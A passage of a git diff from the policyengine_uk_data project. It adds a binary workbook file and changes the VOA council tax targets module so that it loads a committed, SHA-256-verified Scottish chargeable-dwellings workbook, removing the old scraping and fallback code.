zMdXVH4A^@0pZh|SLs+x;1|j!4R;-{3j=_6%`kI!p2&M>MOyR!sfZI_)*N*omliD^v
z1+|k*_)hT)N&{BfkHHe?m_&C=P;nAz0}{}IkOx6%5U<{knBZ9K{ZU0d3s5fgO46Pj
ziG}Q~G>#biMsfZWL&Hm;8gz7Hd(5A@kcpC4)X_c?H^?_u&~C|+ambc^VD+13LEoGL
z0`rc>WJo@NKlDfo$oa+rqZ@qUE9y)HyZX3HtNJ{o6-PQ!Dn1!T5$Bmg=@ARU4aU2R
zY@zO+QR=br&QJ|qF)v*3;HlAT34;#;y@LUk^>q}Hy`rBAUbG~`<BDx|r}k+QhRGmK
zBSOm{911Qn4;(~ApbeJ9MI)iNH%E@}kcnI~xST0`cP3gye9=)kZv=c#V4{v;dQNuV
zckKtA-KX#0h+Q!1`YU4aClv6R$FV6e#a38JCXu<;D_CJxu!n>pu9c`hPXw>%gBxQa
zeL69NJCoq++KRc;bqLZ4++*Sz@2yw>)vy|u+8s+1bP;IRR`CsC&iA#CNKqlh1&2P8
z{kBHZlS*eK>ie)p_oIiFK>Hj|5hT56PrDCt3&aH@?)`V;c~KvPXjJ_eJAf^igGF&5
z_0`dkfhJCTIKw3lSTjueiYzjEpcD=r>g`5=PvURjpCcw9+W1Zu7xi-yTU>(|l@i2w
zC44VtGe5j|=6>gVSP+HlX0DH*R(E^-et@e}aAthyi*ND6R_<{t&LW^K0r{ELUBpC8
z8eH#oZ6aYEktdtd+(a#xdt#LrNxS?7g;h&KenrFvoXVE#uu4LB#2P*YnplV>5Ts{F
z+hD{5yvX=dhR{S;QZAQb4tK#uHFBty#I=*b+f6;ln)1ud?CV44PI7hh+p^EvuRVa{
z)3&cfo$!;PTX8z!FY52utY10~!C29*Fg7NrhabbKwh12zKt^L2#~#@6NOspa5rx!+
z_2pJcNQ}?ggnVn*Cbs6o?NY5@9R!og@%W{7kv10|L{_7p&Bu)6zpiLd@E2wKxE(+Z
zhtBPX<L`6^T~G5`A*Z|02PZ?-6MDJ5%<Yny{wfV~67Rabzx?Hi`JTu8uhWB5%((0T
z6TFBI`4s_$1oxMS)hhKK|3#u&#0BeoYMEV+0jXcy5-K@@F@Z+MBTILcL2A)#t4C}c
zi>?gN?KoAa$WArZ2u|}f$c#>$!#{PZ&Pjd&;jbvYYLS*dF4~lz$wW5?d2mk}4n$eT
zBzqRZ78b~|RGOq&;!~`8tE=bDvBak`NLAi+(J3OIc%6*R3)%peuX~x>i$$)IP0ev<
z8pKgvb62>A-+Ju?*PlYX?)uWV7G}E)5XeIwXCs)$KRYFzuXkFzLz8~H!dYS!;H=}U
zH8?K9=^&*ra^I=Y&G2w>N`n%%;d{^3{CfhoFL>?h%X_7A3HOg`<)3GBCvy{P6UIN+
zKab@n8dA2n9LQamhdxAiS%(G^O%Wr0<WlzOoXl3_B2f!rt0n_F4B}%^HX;sm@;T<3
zH;OsU1Yu1es5!|uOD!_9MFOva!Ml>0nod@fkWY1pO#?5S=h#zr)jB>YOils;1w7Ue
ziRF8MShiiEG||c}n{HPVdI804rx0v83EC7?Z0$|Aw@ynpok22U=(}PE{APdkQmano
zIAS^@_e3+YKr>PX)QYX*5J@3FBtM%z$wh}&1xY3uu!JArBj2$j&Bf(6V*-lH4`Iua
zX!rDuhDyeLwaN-~p;MQatU}tKAG)?%@@5@qxTSNzCNx1V2(SA2+)F?QYLqW>FcKyy
zsjRhWw{N}BlqgT=PmWXNx)?W^@YE3GP!RT|X*)F?oh@ZI0V$e8&g~nr%`C-c08aSN
zmb6l_rj^aAz-jXj0(ZwOr?RcORjm)8FNx%->8CF3-zQ9Jg%L))E9tkF#v)fu7khDI
z2A7gA8t+Vt=j|>ajV~j~y=)s-N?P5(!mwqArOZ!fbQz2Jf+INB?)sJhU8+;taOlGQ
zJacT}C~}J$KNxzES`I<fZ4K3D(My4%qMQNZ=Uc`^RNp2pKJ^Atx=<%bNu@Ey<>sVX
zKoFW@)tP=izYRav>vjv$?RN9HIeeVW&yFJC=kvJ9FWj?Q9|9_`Km1&qe*N`ibTeFU
ztIPY?7o9BftD4{IYJ58T*)K*0E>ze1@uvAePS5-H=zNp+vWEkL0Db#Q8gi&jyimh1
z+RP-@P+|uBz@y8Jk#r_LC*&%@oDK$e&zjPNR|~s+q^q0&@g<0@Gy!Mb*|1?=N$~X~
zr@b$CMm;;GF4+1)2keJ4xw(;PZRxNU-UuYG4sK3o?X^r}c^R|MN6TGkXkrsOK}vz7
zaj1betb7y$`5Rv(@!QX4<n2bqU^j|OB1@OZzI?I+1=a%7DYlYJ<;?6FjnXqcOD0q0
zj_Dn?NQjA<uAw(6Czy8-coaA<V^4MhFc7@q%9km3UzGzywAE-XoP@E&Hi%>Anh&A?
zU*KfBLvvl+H@f<ZLc`I+qQ0=%8cc<c(DR)QaE^Ac%(F2V^2ZoKD@3@oUiG@Rq!T}J
zJb)BawmlP&N43i_g1Z8DLmHrwUyMn3x;j3$q(>{U_YEjxQ=Q8e%9=kF)lE_@oQ~J=
zau2g_BVUtG-_;s^K|Rw`&uhLQ+aQm@7#CYG3GAwv>GkOn%uX1`)Jw)J#45YVJ7?E%
zb10(l62@LrQxdh2m=BiXj0oaYXY2P*B{%@n{LsJD@#1P1+hdA^s{KV+rGsz>-s2$*
zTZ%L_K8kFtC4g&=E*&HVFW-7d9oD)dRq)t@uU19au(3bb#l4U-cxp7Il#RvlJYqJC
z!cNtcw)}jk!m#kutW}i-25A~~Oq7LVVsG|%S?`baw3$7k!^oa71gyix6Q*Z<(V*2c
z7t!oik@_xq%uy^Pi8Ip5`?_eFA&GkR)WFzbF^?jiK`{s$8JRo$mdrs35tl}^<;jkF
z2HiA-IXK26JieqTI(iC9saXSB^Ka$1fIv=52vV%{ZOb^nr9vAz=I||V8s)yAm(o$I
zKIiSpB7QnrJ6glju7VmRC>G+y4@tEM2-j3dAW3P&n<ILaUo{vdL2!?3i3i7U!235T
zAeLvH>9HflOTwlYDpI(S!A7L0v#Ch#cD9LeYC@O$x4iMoa;9S>TV9wjKEL@|a$8$p
zkI+xK&tWi*!%tNiB@J>iHh&T^OSRgjh(2IR(NonVB{<wq+@NyxR*@dli=i20dd)7)
zn?`GiQpdJH3b0G3W14$hg>8{%4yH*MWIKUr5oT=!%Y&%$-ev~JSO=!R`QshFu^-SO
z#D8N_DdWW<{=ChjSW9G#ITjb%r4*uaRX-kQ%tef*0AX)pI!F)$*7wu~$$qm!kb@<-
zp&Z`<kF|dJ;OKLJ%@*Pme=T?FWyO-+%saE;XI*>p%6doAC^*ZA2O)F5V&+li&gItM
z>phkKO|^nN^1T8{*odu7L;M0Y#ZMzBDvfmv);N8i(?sG{ZLmfQuJC1$oj@E@T#Eo|
zhI2&(S2``hTK($mu5XR1<#LL9gG+B@uKCDm8hGOFxL@b!a5=eg@EDP)wOs35JAa#k
z6L;qp_Vdo1eF1AYg~M_XQ`hSPfY%98jZ7ge@%(d(Sev*n!9Y)3;7aQttrFMgKYA-Y
z5XiX1cW>oS1^^)Z!&^Bzxm%ey{*gXj*VM9IV@LNUta&3UIh;YPcMdIBt~#xdwWttK
z12=~}$rZ>QX%G@d<&~5@MSMBu4qgZhv%RX6Ne*7l8|^<|=Oc*wsXLJ`?@7dyOLump
zI=}D{70OC@M?&uH*mT+aNHgx~as)|3+T+Qe>`CP9AiGVX4SF<~TTl@}ctAp~TWTIS
z%oMj3CG0(Ctc2RnXf#C1A1KDh97j$0O4a*W!F;*s2s>8JNJsKe_%l9n?DV<Wyl78e
zY4)5J&YTmm@sTFF(|1|Jp_et}oGJQYq=wc#d#&_qFVxvKHaTIiDO7gZbfP8w9cF|P
zmi4At_Fp*(;Boiy#;rj>HK*)rUUDu-N+k4+;`{bXIvi189)#70V%`mgG`7d_HI#>C
zM<*GNy|~C8*=*fkWxUU)E3Eavv~1n3zTs%btDxw*?PMQQx-W|{gqWClYv<XzKSlY>
zOhB7Ifk1ml@kYYyc5|EBhtAdY<{g$#eVO1J7W##t59)IA?VLid0g6B116m+Bow2qQ
z@erVm9Poe=%d6}7GkBTpjueN%IG?^KDX%NE$4!lgRUm_Q#iFe+iH#tZ>vJ{?IU;I>
z=DB=ppcr@ssoSn<ZBJI4sxYVLpoqwTLrrK>=9e0g!&%Y?bt+f+1>_@m4YB^3Edr!#
zOq?g3oTG#bH)tfyyBAaDz>`P=k=Rk{C+j2L?bp6K5f`kw<0KFmxFcu<X$F-kz?~Fz
zol(Elr+4qWm%+W?y0e-UvcFd08cQmWJfai!;lc?Tu$?<Er*sHppH`3=w`|n3KA3RG
zP@)~9Z07xv@{)V&GON1G?#CPvox?D?!~(@bo&K~D6QL9{cC?Gguf#scrJmNex^W&=
z!f#MZn74F=@=;VU6%0d0E_x(niX^47&r&N7lA>=Vn)h*ssDfLnO3DLjagkI;_yOCz
zFOx1M6%`LHhUu4Y)03yR8<cqaW@dCE4FFc60HT8Pg4WpWPNhwd&o}%V!Y3_m@$2_M
z;nMrV1}Y!=VquD41IcKD92kn=-t}>e?2i!rD=-S?t+e_C@X``*nVH_{c7276IRG3|
z2qXLt;H(OqhF$b=UBjMNhb}^iwaZfHYfeQ<yo)Zs^v|%w#aZdbUT1Z^s=Irny|%Yd
z9LgvG^6ARe+V2db+wG8*{zkkH^JLMvb0uUdfpVwcbiK+ZhqXdg42-ta6C=ZCQ-}Pe
zMEo?rt{jiX#bFQ(S%0UQLhvnw!AxAD@CekA>HUZ-k=}r^3#F_2E%euso7+|cS#cLy
zPpeUeHwdqt0_tFNRfVElzac+hz`<Zzy6DUP>rK#vfj#=Hjn{BUxlwoK1<9aE_+=70
zua3VyeX};4O^{OMxol=LY-CTJ-dFT!8RG-FaT#45PRn&=j-;gUi&MBhU1v@L3GZ{Z
z8XkM5wgzg=OlVbt>-LlfdzC6<g0XTlf3PoY&;C_8%45Bgp%20WXCj810YD5XRRKY)
zU6mhYr|P{8xB~mnKS>wm$~W{tBGte(fX~7Lw9i@2NkI${<{kXROBoSIc;)cUa+hw_
zYc=&%tnn4LY97^D#zdtUa71+SiDT|x=}ed_M?j-hGpXb(9bU#uR)v}@j@vjntS-o>
z7QM?(KB&^`2d7})a1tqZ^}^QMZj;`%*YvAQA(a;g4|=Qjmj`FP@<e}t$NiqFz-jxu
zH1UdaarA?~{#Wwbor-qOUT{KcgVYC+F4Y<6maZ&mDM=mbYowOJE#k;?#{y)=W>%cO
zThOyUt#UhbBS|`W%f)^NRj6=PW9(gB-qtC|*7Hl>kIJZO3i7(KyetiP@)l4X3P^#?
z7=fnAh6edMawm^2wSj~B)yi__mhJKpOtppv6N|8$caXVD0hTRV^dyxy7FSabv6TAo
zh}70W!Q{6&@aR-~pD}jN%yqLK;qHqcssdXOsOqpyv14ob;pWqS3}@+jzbR?g_-fSY
zF5UPQ3JS|Hc6axW<B!ua^c!4-Ob^HqIE1v!YPFfMBrpUWf_*VCdSmb#M|@Z?%>WJW
zz|Lr{{tkaCI*!+XGlgxBYwc>cXqP$OySP|my}G}rR)f*CH0P&=hUlgv+_4F|1eP=}
zA?Q{bVAeF|^d{eQ>$LaTf-$Na&=l5b?YVEc#Dd$;I&Z<5wQ14N!P?C1ME^YI2x+^X
zTdwbV?^QX#Mkm#k<G-~bD@h8foZSA&wPqETFK8G+604Om;%YDV)#uOB)bH&wpnFQ$
zJMU*te^>wj{h$8J+`z%aSjou&Xk+%L8_Q5#vsvRr{(=<agLP=I2B;<HZrm}p#+(`i
z)>@-39G$U}N7MJAAH^wapP%o_U72tfFm5Cs^3dsH&1_G+f5ouAMDxReOqU?2IUqNt
zNq|$ae%y253+dvI#O;KRFmV_Qh~o_TW}X+_zmwm^{9!~b?Q?=wdq;#({GK|~ys}h6
z1B+6deiGj;54%*Pm4$<_R!B=G*+z@LwrEVL;_ByxQ(<|@*ZhHFUZxXVzLRGehRHaS
z2CiDHg=s7VvG;s4YnDBQzG3R#(A7kbQ7UZKY;l~xb3d7qs{F-F^l1$tx1ijoUvSjF
z7{~TAMz>aFsFjK;<0uYr$|=ys8;L?KT4<~h^-_#IP+V>x^BWPX_gi4@>+KcNad-=b
zO84ywZxW^|+FlX%q<3gWUP96YpCd8GH@A@(8d*NxLv_Zq1c9Y*(u!S(+TeZ_YW<>;
zR#^_>v!{f@7cd<c#)5VXlzEo(%Hnn|({}YwZPo1k*xdMK$V+txo3(b!L!q$ML>b!_
z<_G~XAxh7)-Kk@gICjK23`=^uh|V-Ee}!NhA5F0GXP7Qr5<M&hIh@*=`1F#Xl|+@K
zR=f$>fk`EcD79kmHptkiA=AkQLdDp6IAht2JO0maxs)cUC2hK`+^^Ij-yvr0kvkFc
zI6mKe3ekm_RlxZ2h3hzjLgM&ggvRa5;}&0Bo5J%iJ<;!^`n#E~(wVv`qdVOBx~S||
z4^t(HPC}}ir2@B?v&Z4ll^>?SHZ;3eErRctXU^Dx!INFBn0VqiK2;xI-i-6sJ1$GP
zT_<-l&IT`MpT7-?z-0k3CM8rRkq*o*HJU%z6)(Z`9!Mac-L4W_-tYRR_0l&^HY{9s
zv_0~E?XVw*P&A8S+Lm6TOBj@L8$$uVWf7xL7M+Y#5K>6fa=lh7L1AP6wG*whg}N$n
z47xm#2PxHs10ki*@@<zYPg5VIBO9n9(13Kipr=(ACEHVqy=e5Zx668QDMmSI0ejO&
zI@oaZTm?4IxKO|vM<nud`eqrVK3Ro;Ll!HIQng&gu_`M)s7-f5@n?p8l`4Y2{5WW#
zwcY$oVFZwG1rdNSma`oMUR2Lh1=Rj<qs(Pc<ydquqUdK=zj|nr1A?ZldBc8Mu<=;k
zPH=Zi`clX|iR{x(lW$KQdMFj0*nq2F03@<sj=<2a;Lu+Ksda7Y52bMqTFbycNV<Dd
zYNM{;BkFzOTRBmyoBvYh#9pPpZnC0HuIDl#4?|x%tK?jGEC8c8%GKQYLpc}6x|F=b
zF<xs3f~Pjy$rhoDJ5W_*)_PQa${Rf#7=-uwXWHp^qW~Et?S}jw?qa{Uos#~;DE!fG
z^UwB(fArt{)g<v}_f19Y<a^f%{P4MWhftztyfsw7Oq&h>2*toeKqS>kp?R#_)NW%N
z?I}<LM8%AXO3Z#E9KS8K3@1e{jz~;hOQi+~RiUvbKCX8qMHlH`sz0-nD(}NveJg)%
z-{Wr3y+IpZaLh&D9TSdy9pyqq`83Ub@7uOw_Os(qJo5Mp=L6)rA-kvDO}c?9=7gb=
zS`hnfANrbOb@H3(!3!UR+myi}U~dR!Nl6go34ro(B<ya%S9xglc;l9*xjkTL;{(^5
zT&%*WV*14esqNJi&IxB!)2P@uarkvRPe`~s-7O3><-Ey{I7lbWRI()WmW4A(P)IrA
zHrrjTs*iKY@j-rFnO3dgf@*sI(aO4cY$SYmS9J(606_T<h1$KFS0@t(B@-v7KkO{y
zZ}-d$hCrJueQ14oeQ1*rqY+~&BXJWdLn>2o;}MWB2*66Jz$GeED&hxw(+iL}Q+Vi}
zk-iC+V1r2i>o-UjQApV!jdcn<YWN8FU+^f>5%AIiao8oxvAy6DNQKg(B_Kp;Fd-(s
z5pM#%HdW!pdL^hrkV`08n0-*^-X6Zw-|f&PL?I1oR*2?PePbZLf>T4SOv4q9-lI)$
z5TOa&8Gw3UArLM~2tpGLgA-e0Ys16$b`k3mIfKHZ2z;l)LhzeK{<j5WOlS+DhV%zE
z&Q>nuiM8^CyXSKQfnyH*TJSIAWaHriSxj<j)=fC>RnM^wg7iIV0;jazLh6Di2SrP<
z2dF4shWS0jfIabNO1!sCQtEW>dh)Gt+xfle=@Yuk_FISI={+nHkR8@cPzr9<Ql2AQ
zb9uevM+eP{g`mfx@%vl*Uk20>=z61{rYUxt7hZs3%?bDRKKr^F9TvfdKXHd~HCpth
zn`_?EpAY1Uzujn9ep%Seitk9hp1dJAPk>LR#EZ^4Ybz}@p?>_x?Gd~-CO4}^Q1E@D
z05yyD^;oc4+oVTn6j-<k|EzdsV{vdww>iUATheh%Xw=H*Ihl2rGYsMxopGy_ndW+_
zWRX?*_;Tnf)&0=|1{(J4=9A^y)P78<-`3zg-1o)m2X*IT-RAXDM~b$vw8i9pGFi6?
zON15R>Cx5RN#Z?{?x?eLXDd0C0{6<*0sU)|P`C4O*RW4od)1kBow%d0qv>1zTJ{~=
zswBY|s|KKZSV;FhgIP19v)%`Y?lhWPW}U_JZ__|EzL7+aD)vljtUKXg>(rj6@!_gX
z#>YVy%8yRC$J4-rIM93gW=XUe2F7#sT2b><?Q@Nn9mC-+0-e}m_HyfuoddK3bXAqj
zZd(HzRCn_2$70t{dMt)b%hv-bMZ1sa2b`(=+_VMf$DojU>r*e<gdd+@UU~8F%a(B>
zVd2ECr_7-vf_nacEEllv_UJ#Qi<1H9^KkF4xxCX0`5)9WGO#idGB*I){BZ_1o?nyw
zDu5oi?TNN&P<MXX^SzOvZ)U)PS9=L6rAJ*{p9r4$=}tDH(Eb}af6dkBoMrFZ%qJ%$
zb0}LXJ(Gfr>Y%n;F`@I|mqq$gCM~@+n~SNLX1E4=M#iu)m&K~uN;UglD4|K7=zGoJ
zGW$-1aswy6tVgV(?^Bm{pMEmQPJPR@w>jgU)M%Rhf|pZQvS55jKP}N1#9q)QPTcAA
zdVD}4|4qIscVKVx<$4Ms;h|&nqbqRxA?{VLpYpM8Lf@2$H3fSD-V~DcYici@{s$(w
z6o?5>Q;>RJjh;Vlt9vtqBy3j;+oOSQlKp%L(?B<geoGvJEqhsm$E4e<;ROEwsJN)(
z3|jkl#pS&ld6f6gN@H6ic?VlNM@A!C2a`WE_da3pe+`xIs`HA|k?Lo{3Ot8+6B<p_
zbpp1@G|xCc^di?X)#SNh#<^<M$Oy%8-Ji>>HBKP~d{1!v9_)xHu}^4%(($#nPLWj@
z5(QS^Qc}DzE4SDSMOI!PU&$XM(I0#DtH|}u4cT_u)mYD*GEPLiKA4<hk^`?0?g882
z@)bhD1Y(DfyS++k9M_xWH+9z6p>MuBRBb)voD?ZWEs#NNlzCu^7X+ovMdkp1BdQ$m
zJvs_7|LzV%Y2X`=c><{!^@i@VY;eo4Rj*d9tB?8$u50^-K8Kaz!!Ph|W29)AMfoxh
zT0|-t@ZxoVW1<8r6>PUzj1GhuHfvla<%4)tF<pvts@@m!&)Vnn&yo<XT6<uW56!Fi
zbdfh7Vuw&t1IS=uMkR!YU)#M-&p*W@E!@~D`9XV;uHKy|9BfZocL{v7Rlokh`QF(%
z$VQQMztd&23_31!<`a6^LLoZOlQzekYwRR^0sx{tJ(o-JzwgF>uLoITXYP%^zq0rz
z!T+{T4eadxZ=1gF&wpMON;0-+%*dUjmxL3#9u^%ig=Hkw<uo83TcjjFE|MkgboI+s
z+G#ejm)i-`M5i@Sr~zxftRdU1&608J(?LkoHmoo!&Jk9S-l4fblh_S9z6@Ps(9wXo
z2dtbC7vGga?-$8QMJu9MFmxUg{n*NowAuu7HF;b-J8rw;uu}E`pyrsm%2XfQ>N5`L
zs6tk@)G}%S>e&1~C(|)S6vs`q(73slw_E%2M``u)@}kQroFDYJW@btQ>alL!ja!K)
z92oWKUpwWZTt2DQWtX*nB%t6?R~sUwdQ_KR($}0d9U@<_5ZXad50l98)L)rmu{T53
z{3O!EJen#XT^{H>%6EsLIJaq}xdZDfF9GQ^_+@$c&d9YW*b@Nd1L0ENm4YLAIT=9y
zE0|I<YNP7cof5`}D4wk)3sck=(F6s(1l~s3xTrm2lR4ChOep3TnD6y1RHBcEI(muu
ze3U)`*&V6mn1{nEpx1&kFNDnJX3~_kHqy&St&zfrYCnv2abYSg6M5JcDKWpf&C~r@
zK*poHY$)09fJivW%QuOFaGtag?^wb~<?#`9@9D5=fb2T0QbwAFdR)usTq&o1bc=q%
zeE(PeD*^s!fo~(HIRE*+`6WO6IllQfL+$M7WNZC@9QZE=000{)n+`wN(TDW*BC1zY
zoofcOA>{fHvBc}^H<<hiGF?1~PrynV$*ajmSTeuVbsm!5V$k5m>3nrrYp7-PFe85U
z;+GKHjD5J?Av~!5UJPTUKtu5mxRdRUNE9tR@$j>+HB)ZA3QSUoU|!g+!_K87L+$0d
z6dhY~Qr-`yXECt;+b1|21dK}N!k-gPj`Q{CEQPCVdu7B)QXjU(h11bnZIGvr+43Ui
zNSy13?WXv2YZl+wjp_0-WH%;VQ$v^d`N21PSr+NK?7RsZ`)5l|8+BOD0;|p+g_@U6
zI-NSJ4q}O6C_8%}zJh7Ive^61FTnF?8{Oaz)hwsRXyKEsbk5anlJNnvIQU-dzPrsl
zM~_WH?HvzRV*#5)?r9i+NUQX7*6x+6<WH4KFI@95NyvSVTf^J>?2tcV*;|;3!v}T)
z;I`AoF!t%OHjLs@yc84lo8*{<V)u{aK`VvZjb@X?8&{-QW#+BqYK&nlk_`E?NzrC+
zKRI?|ATwTQ@ndL5+w$P9NJ(9ld^R<-xr`BpBaVBGqkx4A%6qhW(n)`HsuxeuTmqfp
zhQLyY6oXcw2tLmw@v@Cr<ovd2CT@Fn>)%8eqpO1b<GI*v=^oDnXxg=A7kLHI@c~b_
zpQ9Oa#xmBnJeA2olC97~2h`)le_WW(926~ffa>cCx%32HFIz583!4Um`xyu$5gN=q
zoua-4mht12n7~egy=fl?97+dDEKGyPFRBzKS@(d}$WVl6b<ngfMo_!n4fTQ&X>q3P
zd{`TK;>6ju!{Q7I?m=aMT$q8w=lTwrcmSWJuW)CqHoge;T!0g(Tispk8FAdwO__#*
z6hgY9`^n_n(ySJZIbWLt1b!ZMBvYJIDRWg&zaq)`9c344sH<q%Y;(fs*Vi?fHa9!G
zmDBUv$^L7g7VP%t_9i8NTk4=zwJ&@RU-xfZ+*q?dYT|dNv1Zy*hZ_hcdQ?c7)MrXp
z^_BPHy0Uw7x2NfCMAGJxBuQe=RdR`!UK!LsAWT32%+Yfdb0F{{_*uL35Hbp7_bFkJ
zrCO4#OeQG&vKM86(mthpsUd~pA2>O%a)ATRb?PS@bi+t3zCSV=r%Tp@5w;{pbTX~j
zuU}|z{jOw7(7yecAytkwUK!1*fZQ7Y@Wtt19kFfT+*!O{3n65%TIxurUt9g;$*q4$
zz`*`z^}g+`xJ<YVzqQn2kGcJ^yqyg}Zc7@R23Wvgel(E<TXNB0q3y*+kc1MQ4O5YV
zjFge%?#D^$AZO$1K_jSVr2viel)d;Ii=G<JQxMW_T&te~4{^h~W+Mh9B2Up+IN7gY
zXKxVynCAfebHZJ&oy-gG-9)a!{b3^U07idWMs*o!Mxc|4HOoItBo=@w=Z_TUzh8?<
zI<~7k=)P}b3RT}F^6drn*+7esa~S8FR0D11&mtTFa#5Kph!t<%va5ME<4rXdnC&21
z?=5+wk2e>4$=W>xjoXq@9a|A@zHy}y<EJC-8k5{$=X-7``GwexH|g<<8m?MtvCZ{O
zAz$9?I5SFbDUFlPFC$9V#gd*=4Naovo{-SHmokH1Y|zO%G2_p2xYJ{Gg~bI-$$q-d
zvt14eIa<=~J4TVP?rax5K}k5`xhEsRehQz!UsqBfp~}o9a38>>?4-gICJPJlrpG~g
zdAge>qP2lwx0_SBGKixyLyoI~!dIVd6xjK26!nu{l{<w%9{PZKUU3N>VZNhg>MH_{
zmY`x}0|_1dWH_X>i7h1&{+u3!0^WOGmaj>eQCbmQ^R#xf7MBLT2~sD~vUl=qw1B$t
zfmT&&0ylXUcWRaE%u8fyM;AHxz#8AxJ*EUV<}G<H&l|BiAwcb7Gg9eu-i3zLPmIQP
z$iqv3HgsbV=)NSUMn{J)m#c<5c}WDLHhN>l*clhPq}_Nb2n{P0jTuXh#uPb+>Jme!
z9__xs+D@U{6nP?ixtCg@v9@oao`tV+U3@8Cq>z7m6h)WlSLJ#g`r^1St$rDJN@i_k
zy6QXSfeUl6_Y_#+W0WEk?a8oR-P!rg_jvK-hNv(XM2nDd{%eRtYZ-c5|ElC(<@w0L
z3i9KP4FPkj!DnM+$b**}Zcc=6z9eSbz=&p(E*rX0G_KOI>wUZCU1jn|C8H`EilzEO
z!rQM+J2V&zDMqxGKM}7VNp#4nxyM)5_6!@{I4q@#JUP^*=cy{lYZP#(jLhNHA?`Pd
z>?Zf2AYPm2*H$D0SCbyxzEt~oym9(2TKmQDiSyRj@L!ebO{eyW5lkB<IeC7srhq6x
z(6;DuE+l>BG5&ajgMGCxvD`Glu*F-Io2BczU1qUT+bp^HN=_GWu?7!JN0O9m4tVO!
zO{;4rKg8ir);8MLPE)vJ%TGGH+!K$dd|+&qGPrlgu8shXJ<Q9i@Y84emR_IM3BWj3
zUa{l7sf$K0Rdqz!o?NQ^E77*gh}j?B38efUkYoKD(f&L?{(rJfCq~BRD-&{HwSNZ`
zQnw#;$U|b?X_=Nq(141S*m8ilg4{Qe=mpvZ;G*QD#f>T3xhHG(IpO0OjqDVJ*<>PJ
z$T^6;Jj+K1cd8LX3J&si7Q$N>yosF1G<#cl&Zb`Ljb@0}!E~xS;^XxkYfldUBA0TC
zl8vru3&J$`Il%W2qtA1zhyHkxT(;DUCn1J2S)cM7`Xwd}nN+8s%8Ei+tuVB}C56Cz
z1L_8U4AyhTp7Zdp$#EXNT@hHPJ`$SfsL6G9kg)#pCs6VyL38@m_`y8r8OVmXMg&9J
z9me6D5~KrV556S?rGUyVBZ8;7e*+>-NT}ou@~@iAEku%>d)MUWcTE!fizfe(U;S^x
z_0QqP|Jiy)#!O2NFd+x)kxy*Ma#U{6$lU)Bk&iJ!(luhS{yIq*r+l-*^B~^k{~1~P
zV$0gwi**xe|N6y<vtu=}Q(k(A8>GDqQdHL6dYw*xd|m`8*q(Ea#&JbF940goEg77S
zE7)?N;6ojY3SSJZ@zv~@wqXXd_${58pzad>&?X|MYu&t7&KuSX8@33Cu62_3t5Af6
z)XJJzJD;$g$FjswYMn2kolh`D{7X>>jfZ}-W{(0#*~V#W*DijeT*r}C>G;gOn#|;4
z7g*4auURx!_xnUQ2q^t~IqE+@z~p!P{U07@@^^rLe~!Z60ovZZ#^0W*@Vnse)8v1N
zp1wDI{5D(ucj14ZUHwZG0O)wHw*AkOtbfP(<FEgHTJbL=)c2N?|7mvdca-1zD*r;M
z!uyY1mcIl1-s<uffHvu$0Dm>U{4V-?mGLi8Jeq%q{$6wZ9pU$q#9s)^48QB(KNcu{
z2mC!H{}-S?<DY=PCFK8Og8p~V-;<Glfo`z;3HmRo$={{_H6!<zECBF<4FLGJ{M_&2
z|C%WIyLcD--^Bl!Hu<~szn?PyF5S)bH|c*wR(}Lk{{`@$W3ayi{NMxpr-<x#fPeKZ
we+Q5f{2kygPxCv<zuMKmqa+Ib9pyh+S$QdlcUJ$A4n+aDfdc^D!hhWTKL?}ep8x;=

literal 0
HcmV?d00001

diff --git a/policyengine_uk_data/targets/sources/voa_council_tax.py b/policyengine_uk_data/targets/sources/voa_council_tax.py
index 8b22015a..fc68b336 100644
--- a/policyengine_uk_data/targets/sources/voa_council_tax.py
+++ b/policyengine_uk_data/targets/sources/voa_council_tax.py
@@ -1,22 +1,22 @@
 """VOA council tax band targets.
 
 Council tax band counts (A-H + total) by region from the latest VOA
-stock-of-properties summary workbook, plus Scotland from the latest
-Scottish Government chargeable-dwellings workbook.
+stock-of-properties summary workbook, plus Scotland from the Scottish
+Government's chargeable-dwellings workbook for September 2025, committed
+and verified by its SHA-256 (gov.scot's CloudFront challenge blocks
+scripted downloads, and a substitute distribution made builds of the same
+code calibrate to different targets, #596).
 
 Sources:
 - https://www.gov.uk/government/statistics/council-tax-stock-of-properties-2025
 - https://www.gov.scot/publications/council-tax-datasets/
 """
 
+import hashlib
 from functools import lru_cache
-from html import unescape
 from io import BytesIO
 import logging
 import re
-import time
-from urllib.parse import urljoin
-from zipfile import BadZipFile
 
 import openpyxl
 import requests
@@ -40,24 +40,12 @@
     "chargeable-dwellings---september-2025-data/govscot%3Adocument/"
     "CTAXBASE%2B2025%2B-%2BTables%2B-%2BChargeable%2BDwellings.xlsx"
 )
-_SCOTLAND_WORKBOOK_LINK = re.compile(
-    r'href="([^"]*chargeable-dwellings---september-2025-data[^"]+?\.xlsx)"',
-    re.IGNORECASE,
+# Downloaded from _SCOTLAND_WORKBOOK_URL on 2026-10-15. Its Scotland row
+# equals the targets of pull request builds whose download succeeded.
+_SCOTLAND_WORKBOOK_FILE = "scotland_council_tax/ctaxbase_2025_chargeable_dwellings.xlsx"
+_SCOTLAND_WORKBOOK_SHA256 = (
+    "8e431837aa37ee298c9a2b9b010b8ecbc7e3a817573a3a84f6251e6db00a591f"
 )
-_SCOTLAND_FALLBACK_TOTAL_2025 = 2_623_149
-_SCOTLAND_FALLBACK_BAND_SHARES_2024_25 = {
-    # Shares published by the Scottish Government in council-tax reform
-    # analysis from the CTAXBASE council tax datasets. They are used only
-    # when gov.scot's CloudFront challenge blocks the workbook download.
-    "A": 0.191,
-    "B": 0.223,
-    "C": 0.163,
-    "D": 0.140,
-    "E": 0.139,
-    "F": 0.084,
-    "G": 0.054,
-    "H": 0.006,
-}
 _VOA_NAME_TO_REGION = {
     "North East": "NORTH_EAST",
     "North West": "NORTH_WEST",
@@ -94,70 +82,21 @@ def _download_workbook() -> openpyxl.Workbook:
     return openpyxl.load_workbook(BytesIO(workbook_response.content), data_only=True)
 
 
-def _load_xlsx_response(response: requests.Response) -> openpyxl.Workbook:
-    response.raise_for_status()
-    try:
-        return openpyxl.load_workbook(BytesIO(response.content), data_only=True)
-    except BadZipFile as error:
-        content_type = response.headers.get("content-type", "")
-        preview = response.content[:160].decode("utf-8", errors="replace")
-        preview = " ".join(preview.split())
-        raise ValueError(
-            "Expected an XLSX workbook from "
-            f"{response.url}; got content-type {content_type!r} "
-            f"with {len(response.content)} bytes: {preview!r}"
-        ) from error
-
-
-def _scotland_workbook_urls_from_page() -> list[str]:
-    r = requests.get(
-        _SCOTLAND_REF,
-        headers=HEADERS,
-        allow_redirects=True,
-        timeout=60,
-    )
-    r.raise_for_status()
-    urls: list[str] = []
